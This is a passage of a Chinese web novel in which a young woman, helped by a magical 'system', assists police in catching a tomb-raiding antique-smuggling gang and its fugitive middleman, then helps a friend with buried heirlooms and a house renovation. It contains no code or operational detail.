“没事,找到窝点了,赶紧走!”时墨拉着他就往外跑,喘着气说,“周师傅,您快带我去最近能打电话的地方!越快越好!” 两人跑出胡同,老周一把掀开三轮车棚布:“快上车!姑娘坐稳了!我知道最近的电话亭,就在前面路口的国营副食店门口,蹬快点三分钟就到!” 时墨刚钻进车棚,老周就蹬起三轮车,脚下生风,三轮车在胡同里跑得飞快,冷风呼呼地往棚子里灌,时墨的心跳还没平复,手心里全是汗。 “姑娘,到底咋回事啊?”老周边蹬边问,语气里满是紧张。 “那伙人不是普通的小偷,是盗墓的!”时墨压低声音,语气凝重,“他们盗了古墓,手里有国宝要卖给外国人,走私到国外去!我们必须赶紧阻止!” 老周手猛地一抖,三轮车晃了一下,他赶紧攥紧车把,声音都变了:“盗墓的?!那可是掉脑袋的大罪!这群挨千刀的!咱们老祖宗的东西,敢卖给外国人?!” “所以得赶紧报警!晚了东西就运出去了,再也追不回来了!”时墨说。 “姑娘你坐稳了!我豁出去了!”老周咬着牙,蹬得更快了,两条腿跟风火轮似的,没两分钟就冲到了副食店门口,“到了!姑娘快进去!电话就在柜台那儿!” 时墨跳下车,冲进副食店,柜台后的售货员正嗑着瓜子看电视,抬头看了她一眼:“买啥?” “同志,我打个公用电话,急事!”时墨说着,抓起柜台上的红色电话机,飞快地拨通了聚贤斋的号码,手指都因为紧张微微发抖。 电话只响了两声就被接了起来,听筒里传来宋老焦急的声音,带着明显的颤音:“喂?哪位?是不是墨墨?!你怎么样?!” “师傅!是我!我没事!”时墨握着话筒,语速飞快,简明扼要地报着关键信息,“我找到他们的窝点了!在西郊槐树胡同16号院往里走,最里面的18号院!屋里至少四个人,手里可能有凶器!后天晚上十点,要在津塘沽港跟外国买家交接,走私出境!你们快让警察过来!我在胡同口盯着呢!!” “墨墨!你人在哪儿?安全吗?有没有靠近院子?”宋老的声音里满是后怕,一连串地问。 “我在一个副食店,安全得很!你们快带人来!再晚了怕他们转移东西!” “好!好!你千万别靠近!千万别冲动!我们已经联系市局刑侦队的李景坤队长了,他们现在就在路上,最多二十分钟就到!我们跟他们一起过去!你就在原地等着,哪儿也别去!”宋老的声音带着急意,还有明显的松了口气的感觉。 “知道了师傅!”时墨挂了电话,付了五分钱的电话费,转身跑出了副食店。 “姑娘,怎么样?警察要来吗?”老周迎上来,一脸紧张地问。 “来了,他们带着警察马上就到。”时墨松了口气,从兜里掏出两块钱递过去,“周师傅,今天真是太谢谢您了,耽误您大半天生意,还跟着我担惊受怕,这钱您拿着。” “哎!这钱我可绝对不能要!”老周脸都急红了,一把把钱推了回来,“姑娘,你这是干正事!是保护咱们国家的国宝!我老周就是个蹬三轮的,帮这点忙算什么?之前你给的定金都够多了,再多要我就不是爷们儿了!” 他拍了拍胸脯,语气斩钉截铁:“走!姑娘,我陪你回去!你一个小姑娘在那儿盯着太危险,我陪你一起,多个人多双眼睛!真有啥事,我一个大老爷们,也能帮你挡一挡!” 时墨看着他真诚的样子,心里一暖,也没再推辞,点了点头:“谢谢您了周师傅!” 两人蹬着三轮车,又回了槐树胡同。 老周经验足,把车藏在了胡同口最里面的一个拐角处,前面有柴火垛挡着,既能看清18号院的大门,又绝对不会被里面的人发现,隐蔽得严严实实。 时墨躲在三轮车棚里,透过布帘的缝隙,远远盯着院子门口,老周坐在车辕上,帮她盯着另一边的岔路口。 天彻底黑了下来,胡同里静悄悄的,只有远处人家的电视声,偶尔传来几声狗叫,风吹过柴火垛,发出沙沙的声响,气氛越来越紧张。 “小姑娘,你胆子可真大。”老周压低声音,感慨道,“这种掉脑袋的事,换个大老爷们都不敢孤身闯进来,你一个小姑娘,竟然一点都不怵。” 时墨眼睛死死盯着胡同深处,手揣在棉袄兜里攥着,小声说:“我也是意外撞上的,既然知道了,就不能眼睁睁看着咱们国家的东西,被外国人弄走。这些东西一旦出了海,就再也回不来了。” “说得对!”老周狠狠点了点头,语气里带着股子气愤,“以前他们进京抢了咱们多少好东西?现在这群兔崽子,还敢往外卖!就该全抓起来,吃枪子!” 两人正小声说着,胡同口就传来了轻微的汽车引擎声,几辆绿色的北京吉普悄无声息地停在了胡同口,车灯全关着,车门轻轻打开,十几个穿着便衣的警察快步走了过来,个个脚步轻盈,手都按在腰间,为首的是个身材高大、眼神锐利的中年男人,身后跟着快步赶来的孙老、宋老和陈老三位老爷子。 时墨立刻从三轮车里跳了下来,快步迎了上去:“孙爷爷!师傅!” “墨墨!”三位老爷子三步并作两步冲过来,上上下下把她打量了个遍,看她毫发无伤,才齐齐松了口气。 孙老又气又心疼,伸手点了点她的额头,手都在微微发抖:“你这丫头!胆子也太大了!真是吓死我们几个老家伙了!还好没出事,不然我们怎么跟你爸妈交代!” “就是!”宋老也跟着数落,眼圈微微发红,“说了不让你掺和,你还敢孤身闯到这儿来!万一被他们发现了怎么办?下次再敢这么冲动,看我怎么罚你!” 嘴上数落着,眼里的后怕和关心却藏都藏不住。 “没事没事,我好着呢,一点事都没有。”时墨连忙笑着安抚他们。 陈老在旁边劝:“行了,先办正事。” 旁边的中年男人走了过来,掏出证件亮了亮,语气郑重:“时墨同志,你好,我是市局刑侦队的李景坤。你电话里提供的线索,详细跟我们说说。” 时墨立刻收了笑,把今天从聚贤斋跟踪过来、听到的团伙对话、窝点的位置、人数、还有后天港□□接的事,一五一十地说了一遍。 李景坤听完,点了点头:“你提供的信息很有价值。现在那院里还有人吗?” “有,那两个人进去就没出来。”时墨又指了指胡同里说,“李队长,胡同里16号的住户张卫国大哥,现在还在里面帮我们盯着呢,从半个钟头前到现在,没人进出过院子。” 李景坤听完,对着身边的队员一挥手,两个便衣立刻悄无声息地摸了进去,没一会儿就把张卫国带了过来。 张卫国看见警察,眼睛瞬间亮了,又看见时墨,立刻道:“妹子,你可算把警察同志带来了!那院里一点动静都没有,就刚才,有个男的出来倒了趟垃圾,又回去了!” 李景坤拍了拍他的肩膀:“同志,谢谢你配合。麻烦你跟我们说说,院子周围的布局是什么样的?” 张卫国立刻把院子的结构、几间房、几个门,周围胡同什么样说得明明白白。李景坤听完,立刻对着队员们布置任务。 安排好后,李景坤转过身,对时墨说:“小姑娘,你做得很好。现在这事儿交给我们,你先回家,有消息我们会通知你。” 时墨张了张嘴,想说什么,孙老已经拉住了她:“听李队长的,回家等消息。你已经帮了大忙了,剩下的交给他们。” 宋老也说:“对,这事儿不能再让你掺和了。听话,这几天好好在家待着,别乱跑。等事情了结了,我们再跟你说后续。” 时墨看看几位老人,又看看李景坤,知道后面的事不是她该掺和的,只好点点头。 老周蹬着三轮车,把她送到了家属院门口。 时墨下了车,从兜里掏出返程的车钱递过去:“周师傅,今天太谢谢您了。” 老周连连摆手:“使不得使不得!你今天干的是大事,我老周能帮上忙,那是福气!” “师傅,您拿着。”时墨把钱塞进他手里,“您陪我蹲了那么久,这是应该的。” 老周推辞不过,只好收下,又叮嘱道:“姑娘,以后这种事可别再一个人干了,太危险了。” “知道了,谢谢师傅。” 看着老周蹬着三轮车走远,时墨才转身进了家属院。 推开家门,爸妈和哥哥都坐在桌前等着她,桌上的饭菜还热着。 “墨墨,你可算回来了!”李秀兰立刻站起身,快步走过来,接过她手里的包,一脸的担心,“你这孩子,到底跑哪儿去了?一大早就出去,天都黑了才回来,也不知道打个电话!” “就是啊妹,”时建军也跟着说,“下午你同学秦野和两个女同学来找你玩,你不在,他们打了声招呼就走了,说改天再来。你到底干啥去了?” “路上有点事耽误了。”时墨笑了笑,没把今天的事说出来,怕爸妈跟着担惊受怕,找了个稳妥的借口,“你们知道我去聚贤斋给几位老爷子送年礼,就是聊得久了点。” “你这孩子,下次再出去这么久,一定记得往厂里打个电话,别让我们担心。”时爱国皱了皱眉,看她一脸疲惫,也没多问,只叮嘱了一句,“快洗手吃饭,吃完了赶紧回屋睡觉。” 时墨应了一声,洗了手坐下吃饭,心里却还记着案子的事,不知道那个老郑有没有被抓到,还有没有漏网的同伙。 接下来的几天,时墨没再出门,老老实实地待在家里。白天趴在桌上画赵磊那套四合院的设计图,偶尔写写稿子,晚上就看看书,日子过得悠闲又规律。 【宿主!温馨提醒!您已经连续画了两个半小时设计图了!违反躺平原则!请立刻起身活动!】系统又冒出来提醒一句,【虽然画设计图属于艺术创作,可以钻漏洞,但也得劳逸结合啊!您这眼睛还要不要了?】 【知道了知道了,你比我妈还唠叨。】时墨头也不抬,手里的笔没停,把厢房改造的水电走线一点点补全。 【我这是关心你!】 【好好,马上好!】 【女人的嘴骗人的鬼,尤其是漂亮女人最会骗人!】 【???】时墨手中的笔停下了。 【你一小时内已经说了十次好好好,马上马上马上!】 【……】 她心里一直算着日子,算着他们原定走私的时间。 墙上日历一页页撕掉,终于就到了约定的那天。 时墨一整天都坐立不安,喝水烫到了嘴,手里的铅笔掉了好几次,时不时就问 系统有没有消息,系统却只说任务还在最终判定中,没有结果。 直到第三天下午,时墨正看电视时,系统的声音突然在脑海里炸响,带着喜悦和激动: 【恭喜宿主!紧急限时任务圆满完成!盗墓走私团伙全部抓获!所有文物全部追回!无一流失!】 【任务奖励已全额发放:能量币10000点已到账!文物鉴定高级权限已解锁!名下冻结资产已全额解冻!便携式防狼电击器、京城区详细胡同地图已发放至系统空间,可随时取用!】 时墨腾地一下从沙发上坐起来,心里的石头终于落了地,悬了好几天的心,彻底踏实了。 太好了!人抓到了!国宝也追回来了! 她飞快地穿好衣服,跟时建军说了一声去聚贤斋,抓起围巾就往外跑。 刚赶到聚仙斋门口,就看见门口停着一辆警车,还有文物局的小轿车。时墨心里一紧,快步推开门走了进去。 屋里热热闹闹的,孙老、宋老、陈老都在,李景坤和几个警察也在,还有文物局的几位专家,正围着桌子看文物照片,一个个脸上都带着笑意。 “墨墨来了!”宋老一眼看见她,立刻笑着招手,“快过来!我们正说你呢!” 孙老也笑着招招手:“丫头,快过来坐!” 几位老爷子看着她,脸上全是藏不住的笑意和骄傲,跟看自家亲孙女似的。文物局的几位专家也纷纷起身,对着时墨连连道谢,一口一个“时墨同志”,客气得很,都在夸她有勇有谋,为国家保住了一批珍贵的国宝。 时墨笑着跟众人打了招呼,在宋老身边坐下,眼睛亮晶晶地看向李景坤:“李队长,案子全破了?” “全破了!”李景坤笑着点了点头,语气里满是赞许,“多亏了你提供的关键线索。“那天晚上,我们在18号院蹲守,第二天傍晚,那伙人准备转移文物,被我们当场抓获。” 李景坤说,“一共缴获文物二十三件,其中一级文物八件,二级文物十一件,三级文物四件。那个虎哥,是流窜多省的盗墓团伙头目,身上还背着两条人命。他们之前有个老手当家,这个虎哥算是个二把手,如今他们内斗才导致做事不如以前严谨,让我们抓住了机会。那个老郑,是被他们用钱买通的白手套,负责鉴定和销赃。我们追了他快一年了,没想到栽在了这儿,还是被你这个小姑娘找到了窝点。这次能破获这个特大盗墓走私团伙,你功不可没。” 时墨听得心跳加速,又想起什么,连忙问:“那个帮我盯梢的张卫国大哥,还有三轮车的周师傅,他们……” “你放心。”李景坤笑了,“张卫国同志和周师傅都帮了大忙,我们已经给他们申请了见义勇为奖励和奖金,过两天就会送到他们手里。” 时墨彻底松了口气,脸上露出了笑容。 孙老笑着拍了拍她的肩膀:“行了,这下彻底放心了吧?你这丫头,真是给了我们一个大惊喜。” 就在这时,系统的声音突然在脑海里响了起来,带着前所未有的警惕和急促,警报声尖锐刺耳: 【宿主!紧急预警!!!】 【检测到本案关键漏网人员!负责香江和内地联络的中间人林文辉并未在此次行动中暴露!目前已确认此人仍在首都境内!】 【更重要的是!他正在暗中调查此次案件泄密源头!他已经打听到有个小姑娘掺和进来了!】 时墨手里的茶杯猛地一晃,滚烫的茶水晃了出来,洒在了手背上,她却丝毫没感觉到疼—— 作者有话说:以为能把后面剧情一口气都写完,太困了,明天继续。晚安好梦= =zZ 第59章 手背上的刺痛传来, 时墨才反应过来,低头一看,手背已经红了一片。 可她脑子里只有一个念头——绝不能让这事牵扯到爸妈和哥哥。 她不怕自己暴露, 大不了有系统兜底, 可爸妈和哥哥都是普通人, 一旦被这个亡命之徒盯上, 后果不堪设想。 【宿主别慌!本系统可以24小时保障您的生命安全!】系统立刻出声安抚,可下一句话就给时墨浇了盆冷水,【不过……宿主家人的安全,不在系统基础保障范围内哦。如果需要同步开启家人安全预警与避险防护,需要兑换商城里的【家庭防护套装】, 三人份需要9800能量币。】 时墨听到有防护套装, 反倒瞬间冷静了下来。她没急着兑换,先追问道:【这个套装具体有什么功能?能管多久?】 【套装有效期六个月, 可实时监测宿主父母、哥哥周边100米内的可疑人员, 提前10分钟发出风险预警,遇到紧急情况可触发临时避险提示, 帮他们规避危险!绝对靠谱!】 时墨心里有了数, 没立刻兑换, 她打算先把漏网之鱼的线索递出去, 看人能不能立刻抓到, 如果不行再把防护安排上。 “哎哟!你这孩子,想什么呢?手都烫红了!”宋老的声音拉回了时墨的思绪,老人家一把夺过她手里的茶杯, 拉着她的手就往旁边的水盆走,撩起凉水就往她手背上冲,又急又心疼, “这么烫的水泼手上都没知觉?魂儿都飞哪儿去了?快拿凉水冲冲!不然回头起了泡,看你怎么拿笔画图!” “就是!快冲!”孙老也赶紧从柜台里翻出专治烫伤的獾油,递了过来,“快,抹上这个,专治烫伤,抹上立马止疼,一会儿就消红,绝对不起泡。” 时墨任由两位老爷子给她冲手、抹药,獾油凉丝丝的,手背上的刺痛很快就缓了下来。 她定了定神,抬头看向李景坤,声音平静得连自己都觉得意外:“李队长,有件事,我得跟您说一下。刚才我突然想起个事,那个虎哥的团伙,可能还有漏网的人。” 这话一出,屋里的说笑声瞬间戛然而止,所有人的脸色都严肃了起来, 李景坤的眉头拧起,往前凑了两步:“时墨同志,你想起什么了?详细说说。” “之前我在杂货铺门外,听见里面那两个同伙说话,提了一句‘林哥’,说什么等交接完,让林哥在香江接应,钱和货都走他的渠道。”时墨半真半假地说着,把系统的信息换成了自己听到的内容,还特意补充了细节,“当时我光顾着紧张记窝点地址、记他们交接的时间了,转头就把这人忘了,刚才听见你们说人全抓了,才猛地反应过来,我们抓的人里,根本没有这个姓林的。” “还有,我在槐树胡同蹲守的时候,听张卫国大哥念叨,说前两天胡同里来了个操南方口音的生人,鬼鬼祟祟的,现在想想,应该就是这个姓林的。” 李景坤的脸色彻底沉了下来,转头对着身边的队员厉声吩咐:“立刻再审王虎!挖这个姓林的信息!重点查香江渠道的联络人!还有,立刻联系火车站、汽车站、旅馆业管理处,排查近三天入京的、三十岁左右、南方口音的男性,重点查宣武门、前门一带的旅馆!” “是!”队员立刻应声,转身就去隔壁屋打电话了。 屋里的气氛瞬间凝重到了极点,刚才的轻松喜悦一扫而空。 孙老皱着眉,看向时墨的眼神里满是担心:“墨墨,你确定没记错?这人真的是跟他们一伙的?” “绝对没记错。”时墨点了点头,语气笃定,“他们当时说得很清楚,‘等林哥把那边的路子铺好,这批货就能出手,拿到钱咱们就撤’,我以为这人也会在窝点里,刚才没听见你们提他,才反应过来,这人从头到尾就没露过面,一直躲在暗处。” 宋老叹了口气,拍了拍她的手,语气里满是后怕:“你这丫头,记性倒是好,就是胆子太大了。这种事,万一被他们发现了,你可怎么办?” 时墨没说话,心里却在飞快地盘算,对着系统下令:【系统,那个林文辉现在在哪儿?能精准追踪到吗?】 【宿主,您的地图奖励有全景实时追踪功能,只要确定目标,绝对丢不了。】系统的声音响起,【但需要宿主花费能量币开启定位追踪功能,费用5000点。】 5000点能量币。 时墨眼都没眨一下,果断道:【开!立刻锁定林文辉!】 【已扣除5000能量币,开启目标定位追踪。】 下一秒,时墨脑海里浮现出一幅三维立体地图,京城的胡同街道、地标建筑清晰可见,一个闪烁的红色光点正在宣武门外大街一带移动,速度不快,像是在街上闲逛。 【目标林文辉,当前位置:宣武门外大街,正往南移动,距离宿主当前位置约3.8公里,周边有宏光旅馆、国营副食店、宣武门菜市场。】 时墨记住了那个位置,面不动声色,依旧安安静静地坐在椅子上,听着几位老爷子和李景坤分析情况。 没一会儿,打电话的队员快步跑了回来,脸色凝重:“队长,查到了。虎哥团伙确实有个叫林文辉的,是他们团伙的核心联络人,负责对接境外买家、找销赃渠道,这次行动前正好去外地联络买家,三天前回的京,躲过了抓捕。这人反侦察能力极强,王虎也只知道他姓林,连他的全名、照片都没有,只知道他三十多岁,广东口音,平时都住在宣武门一带的旅馆里,具体哪家不清楚。” 李景坤眉头皱得死紧,一拳砸在桌上,骂了一句:“妈的,漏了一条大鱼!” 孙老急着问:“现在能抓到吗?” “难。”李景坤摇了摇头,语气沉重,“这人太滑了,没留下任何痕迹,连王虎都不知道他的底细。这种人,往人海里一扎,根本找不到,等我们排查完,他早就跑没影了。一旦让他逃回香江,这批文物的境外渠道就断不了,后续还会有更多的国宝被倒出去。” 时墨心里一动,犹豫了一秒,装作突然想起什么的样子,猛地抬起头:“李队长,我刚才想起来!我在杂货铺附近,见过一个南方口音的男人!” 所有人的目光瞬间齐刷刷地落在了她身上,李景坤的眼睛瞬间亮了:“在哪儿?!你还记得什么?!” 时墨装作努力回忆的样子,皱着眉慢慢说:“就在槐树胡同外面的小街上,我看见一个穿深灰色中山装的男的,三十多岁,瘦高个,跟你们说的特征一模一样,操着一口南方口音,站在路边抽烟,眼睛一直往杂货铺方向瞟,鬼鬼祟祟的。我当时觉得奇怪,多看了他两眼,他看见我看他,立马把烟掐了,转身就走。我当时没当回事,现在想想,这人绝对不对劲!” “对了,我听到他们聊天时提了一嘴什么宏光旅馆,不知道会不会有关联。” “宏光旅馆!”李景坤瞬间抓住了关键,眼睛亮得吓人,“太好了!时墨同志,你提供的这条线索太关键了!” 他转身对着队员们厉声下令:“全体集合!立刻前往宣武门外大街宏光旅馆布控!绝不能让林文辉跑出北京!动作快!” “是!”队员们立刻应声,抓起帽子就往外冲。 时墨下意识地站起身,想跟着一起去,却被孙老一把按住了肩膀,老人家语气坚决,半点商量的余地都没有:“你给我在这儿好好待着!这伙人都是手里沾过血的亡命之徒,抓捕行动太危险了!你已经帮了天大的忙了,剩下的事交给警察同志就好,哪儿也不许去!” “就是啊墨墨!”宋老也连忙按住她,满脸的不放心,“你一个小姑娘,去那种地方干什么?万一出点意外,我们怎么跟你爸妈交代?听话,就在这儿坐着,李队长他们经验足,肯定能把人顺利抓住的。” “听两位老爷子的。”李景坤也停下脚步,对着时墨敬了个礼,语气郑重,“时墨同志,这次能破获这个案子,你居功至伟。但抓捕行动风险太高,你不能去,就在聚仙斋等我们的好消息就行。等案子了结,我们市局和文物局,一定会给你申请表彰。” 时墨看着几位老人严肃又担心的眼神,只好坐了回去,点了点头:“好,那我就在这儿等你们的好消息。李队长,你们注意安全。” 她想亲眼看着此人被抓才踏实,但也知道现在情况不允许。好在有系统的实时地图,她在这儿也能知道现场的情况。 李景坤点了点头,转身带着人快步走了出去,院子里传来汽车发动的声音,很快就消失在了街口。 屋里又安静了下来,时墨坐在椅子上,看似在听几位老爷子说话,实则注意力全在脑海里的三维地图上。 【系统,开启实时追踪,把现场情况同步给我!标注清楚警察和目标的位置!】 【收到!已开启全景实时追踪!绿色标识为我方警察同志,红色标识为目标人物林文辉!宿主可随时查看现场动态!】 系统话音刚落,地图上瞬间多了十几个绿色的小点,正兵分两路,飞快地往红色光点的方向包抄过去。红点还在宣武门外大街上慢悠悠地晃着,丝毫没察觉到危险正在靠近。 时墨悬着的心稍微放了放,难得夸了一句:【行啊小七,这次总算靠谱一回,没掉链子。】 【那是!本系统可是最专业的!这点小事算得了什么!】系统得意起来,【不过宿主,您那9800能量币还花不花了?】 时墨在心里翻了个白眼:【先看看情况再说,能省则省。】 【好嘞!小七随时待命!】 孙老看着她时不时走神,知道她心里还在担心抓捕的事,笑着给她倒了杯温热的茶水,拍了拍她的肩膀:“别担心了,李队是市局刑侦队的老队长了,办了十多年案子,经验足得很,只要有了准确位置,绝对能把人抓住,跑不了。” 宋老也凑过来,转移她的注意力:“来,丫头,别想那些糟心事了。正好我现在有空,你不是说四合院的改造设计图画完了吗?拿出来给我看看,我帮你参谋参谋。” 时墨回过神,连忙从包里掏出画好的设计草图,递了过去:“师傅,就是这个,我瞎画的,您帮我看看,哪儿不合适,我再改改。” 宋老接过图纸,戴上老花镜,仔仔细细地看了起来。孙老和陈老也凑了过来,三位老爷子都是土生土长的当地人,在四合院里住了一辈子,对老院子的规制、讲究门儿清,你一言我一语地指点起来,全是实打实的干货。 “你看这儿,正房的隔扇设计得不错,保留了老物件,还兼顾了采光。就是这个尺寸,得按着老规矩来,宽不能小于三尺三,窄了就失了正房的气派,住着也憋屈。”宋老指着图纸说。 孙老凑过来看了看,点点头:“老宋说得对。还有这后院的小花园,别光种些花花草草。老院子讲究的是‘前栽榆后栽柳,中间种石榴’,你留块地种棵石榴树,多子多福,寓意好,我听你说这房主是个年轻人,这不正好吗,夏天还能遮阴乘凉,秋天结了石榴还能吃,多好。” 陈老也开口了:“厢房的卫生间改造,你得注意下水。老房子的下水管道细,你这个设计,得改改管径,不然用不了半年就得堵,到时候再改可就麻烦了。还有,老房子潮,地面得做防潮,不然铺了地板也得烂。” 三位老爷子都是懂行的,几句话就点出了图纸里的问题,还给出了最合适的修改方案。既贴合老四合院的传统规制、又兼顾现代居住的实用性,几句话就把图纸上的小毛病点得清清楚楚。 时墨听得连连点头,拿着铅笔在图纸上不停标注,越改越觉得通透,心里佩服得不行:“师傅,孙爷爷,陈爷爷,太谢谢您了。经你们这么一点,我这图纸一下子就活了,之前总觉得哪儿不对劲,现在全通了。” “你这丫头,本来就有天赋,就是对老院子的规矩、讲究不太熟。”宋老笑着捋了捋胡子,满脸的骄傲,“等改完了,这图纸拿出去,绝对没人敢说你是外行。就你这心思,学古建修缮都没问题,回头我给你引荐古建研究所的老周,他那儿正好有个老王府修缮的项目,你可以跟着学学。” 几人正围着图纸改得热闹,时墨的余光却一直盯着脑海里的地图,看着绿色的小点一点点把红色光点包围,心也跟着一点点提了起来。 时间一分一秒过去。 设计图改完最后一笔,时墨抬起头,正要说话,脑海里突然传来系统的声音:【恭喜宿主!协助抓捕成功!目标林文辉被当场抓获!人赃并获!他身上还带着虎哥给他的文物清单、香江买家的联系方式,还有准备跑路的火车票!现在全链条都端了!一个没漏!】 时墨手里的铅笔“啪嗒”一声掉在了桌上,腾地一下就站了起来,把三位老爷子吓了一跳。 “怎么了这是?”宋老紧张地问,“出什么事了?” 时墨反应过来,连忙找了个借口,脸上却藏不住的喜色:“没、没什么,就是突然想起……李队长他们应该快到地方了,不知道怎么样了。” 话音刚落,桌上的电话突然急促地响了起来。 孙老接起电话,听了没几句,脸上露出笑容:“好!好!抓住了?太好了!辛苦李队长了!” 挂了电话,他转身看向时墨,笑得一脸欣慰:“抓住了!李队长他们根据你提供的线索,在宏光旅馆把林文辉堵了个正着!人赃并获!这小子正收拾行李准备跑呢,火车票都买好了,晚一步就去津市了!” 时墨心里悬了好几天的石头,终于彻彻底底落了地,鼻子一酸,眼眶瞬间就热了。她下意识地转身,一把抱住了身边的宋老,声音里带着哭腔,又满是藏不住的开心:“师傅!太好了!人都抓到了!终于都结束了!” 宋老被她这突如其来的拥抱弄得愣了一下,随即反应过来,哈哈大笑起来,拍了拍她的后背,满眼的慈爱和心疼:“哎哟,你这丫头,平时看着稳重的很,怎么这会儿跟个小孩儿似的。好了好了,没事了,人都抓住了,不用担心了。” 孙老和陈老也跟着笑了起来,看着时墨难得露出孩子气的样子,都觉得这孩子真实又可爱,明明做了这么大的事,心里却还担着这么大的压力,着实不容易。 “行了行了,放开你师傅吧,再抱下去,他这老骨头都该被你勒得喘不过气了。”孙老笑着打趣。 时墨连忙松开手,不好意思地擦了擦眼角,脸上却依旧挂着灿烂的笑容。 没事了。 都结束了。 爸妈和哥哥也不会有危险了。 从聚贤斋出来,夕阳的余晖把整条街道都染成了暖金色。 时墨骑着车往家走,冷风往脸上扑,她却觉得浑身轻松,连蹬车的脚步都轻快了不少。 回到家,刚推开门,时建军就迎了上来:“妹,你可算回来了!下午那个你买老家具的赵磊打电话到街道办,说他那老宅子挖地基的时候,挖出东西来了!让你有空赶紧过去一趟!” “挖出东西了?”时墨眼睛瞬间亮了,心里又咯噔一下,立刻想起了系统之前说的话,“什么时候的事?挖出什么了?” “就今天下午,听那语气挺急的,让你尽快去。”时建军说,“我问他挖出啥了,他不肯说,就说让你去了就知道了,还说东西都原封不动地放着,谁都没让碰。我跟他说你去聚贤斋了,他说让你回来给他回个电话。” 时墨刚想转身出门,被时建军一把拽住。 “你干啥去?” “去赵磊那儿看看啊。” “看什么看!”时建军把她拽回屋里,没好气地说,“你看看这天,都黑透了!他家那边的胡同偏得很,连个路灯都不全,你一个人骑过去多不安全?也不差这一晚上,那东西埋在地下几十年都没事,还能长腿跑了?明早再去!我陪你一起!” 时墨往窗外看了看,天确实全黑了,胡同里连路灯都少,确实不安全。她只好按捺住心里的好奇,点了点头:“行,那我明天早点起来过去。” 第二天,天刚亮没多久,时墨就爬起来了,吃完早饭,骑车直奔赵磊家。 到那儿的时候,院子里已经忙得热火朝天,工人们正在挖地基。 赵磊正在院子里等着,一看见她来,快步迎了上来,一脸的激动:“哎呀妹子,你可算来了!快进来!东西我都原封不动地放着呢,谁都没让碰!” 时墨跟着他进了院子,一眼就瞧见堆在墙角的几个沾满泥土的坛子,还有几个用油布包着的物件,上面还沾着新鲜的土,显然是刚挖出来没多久。 “昨天工人挖地基的时候,挖出来的。”赵磊指着那些东西,“我们也不敢乱动,就放这儿了。你给看看,这都什么玩意儿?值不值钱?” 时墨走过去,蹲下来,轻轻拂去最上面那个瓷坛子上的泥土。坛子不大,釉色青中泛黄,上面有细密的开片纹,口沿封得严严实实,用桐油和石灰封着,一看就封了几十年了。 【宿主!这是北宋汝窑青釉瓷!虽然是小件,但也是不可多得的精品!】系统的声音激动起来,【旁边那个油布包里,是明代宣德三年的铜香炉,带款的!还有那个,是南宋官窑的笔洗!还有三十根大黄鱼和两封银元!我的天,这家人祖上到底是干什么的!】 时墨听得心惊,面色如常的把东西一件件看过去。 “赵哥。”时墨站起身,认真地看着赵磊,“这些东西都是你姥姥姥爷留下的,是你家的私产。我可以帮你看看是什么,但是具体怎么处理,还是得你自己拿主意。” 赵磊犹豫不决道:“我也没想好呢,你说我该怎么办?” 时墨想了想,道:“这些东西年头都不短了,都是好东西。要是你拿不准,我可以引荐你去见我师傅宋老,让他老人家帮你掌掌眼,给你出个稳妥的主意。” 赵磊眼睛一亮:“你师傅?是那位宋正先宋老爷子?就是报纸上说的那个文物专家?” “对。” “那可太好了!”赵磊一拍大腿,“我正愁不知道该怎么处理呢!时同志,太谢谢你了!那咱们什么时候能去拜访宋老?” 时墨笑道:“我先回去跟师傅说一声,约好了告诉你。” 说着,时墨从包里掏出修改好的设计图纸,递过去:“赵哥,你看,这是修改好的设计图,我师傅还帮忙修改了几处,你看看合不合心意。” 赵磊接过图纸,一页页翻看,眼睛越来越亮。尤其是看到上面宋老标注的修改意见,满脸的惊喜和激动:“我的天!这是宋老爷子亲自给我改的?!” “嗯。”时墨笑着点点头。 “妹子,你也太够意思了!我早就听说宋老爷子的大名,没想到还能得到他老人家的指点!” 赵磊合上设计图纸,二话不说,从兜里掏出两百块钱,硬塞进了时墨手里,态度坚决得很:“这图纸我太满意了!之前说好的设计费是八十,我给你翻倍,两百!你必须拿着!这图纸改得太好了,方方面面都想到了,太合我心意了!” 时墨连忙摆手推辞:“不用,赵哥,说好的八十就八十,多的我不能要。” “拿着!必须拿着!”赵磊把钱死死按在她手里,“你这图纸值这个价!再说了,你帮我跑前跑后,又引荐宋老,这点钱算什么?你要是不收,就是看不起我赵磊!以后我这院子里有什么事,我还怎么好意思找你?” 时墨推辞不过,只好把钱收下了。 赵磊又一脸期待地问:“妹子,你看……能不能帮我尽快约一下宋老爷子?我想带着这些东西,去拜访一下他老人家,一来让他帮我鉴定鉴定,二来也谢谢他帮我改图纸。要是有能捐的,也麻烦他老人家帮我搭个线。” 时墨笑着应了:“行,我回去就跟师傅说,约好了第一时间告诉你。” 赵磊高兴得不行,连连道谢,又拉着时墨,把图纸上的细节问了个遍,当场就把施工队的工头叫了过来,指着图纸吩咐:“就按着这个图纸来!一丝一毫都不能改!听见没?这可是宋老爷子改过的!” 工头连连点头,拿着图纸就去安排了。 从赵磊家出来,已经是中午了。 时墨骑着车往家走,心里还在想着那些东西。 这赵磊,倒是个明白人。 回到家,李秀兰正在炸丸子,满屋飘香。看见时墨回来,招呼道:“墨墨快来尝尝,妈刚炸的丸子,趁热吃!” 时墨捏了个丸子塞进嘴里,烫得直吸气,竖着大拇指冲她妈比划:“好吃!妈你这手艺绝了!” “慢点吃,没人和你抢。”李秀兰笑着拍了她一下,“对了,你哥那边准备得怎么样了?明天去晓娟家,东西都备齐了吗?” “放心吧妈,我哥都安排好了。”她嚼着丸子说,“烟酒点心茶叶我都帮他挑好了,包装得漂漂亮亮的,明天一准儿体面。” 时建军从屋里探出头来,一脸紧张:“妹,你说我明天穿那件军大衣行不行?” 时墨走过去,上下打量他一眼:“哥,你就穿这件,干净利落,显得稳重。别太紧张,就当成普通串门,大大方方的就行。” “我尽量。”时建军保证道。 第二天,兄妹俩拎着大包小包,往周晓娟家去。 时墨一路给他加油打气,教他见了叔叔阿姨该说什么,不该说什么,让他别紧张。 有了妹妹在旁叽叽喳喳说了一路,时建军紧张慌乱的心渐渐平静下来。 周晓娟家住在南城家属院里,街坊邻居听说晓娟对象上门,都探出头来看热闹,看得时建军脸唰的红了,刚平稳的心又激动起来。 周晓娟的爸妈都是纺织厂的老工人,人特别实在,看见他们来,连忙热情地迎了进去,又是倒茶又是拿糖,周晓娟也红着脸,给时建军递瓜子,时不时偷偷看他一眼,眼里全是笑意。 时建军有了妹妹提前打的底,渐渐稳了下来,晓娟爸妈问他厂里的工作、家里的情况,他都答得稳稳当当,言语诚恳,看着就踏实稳重。 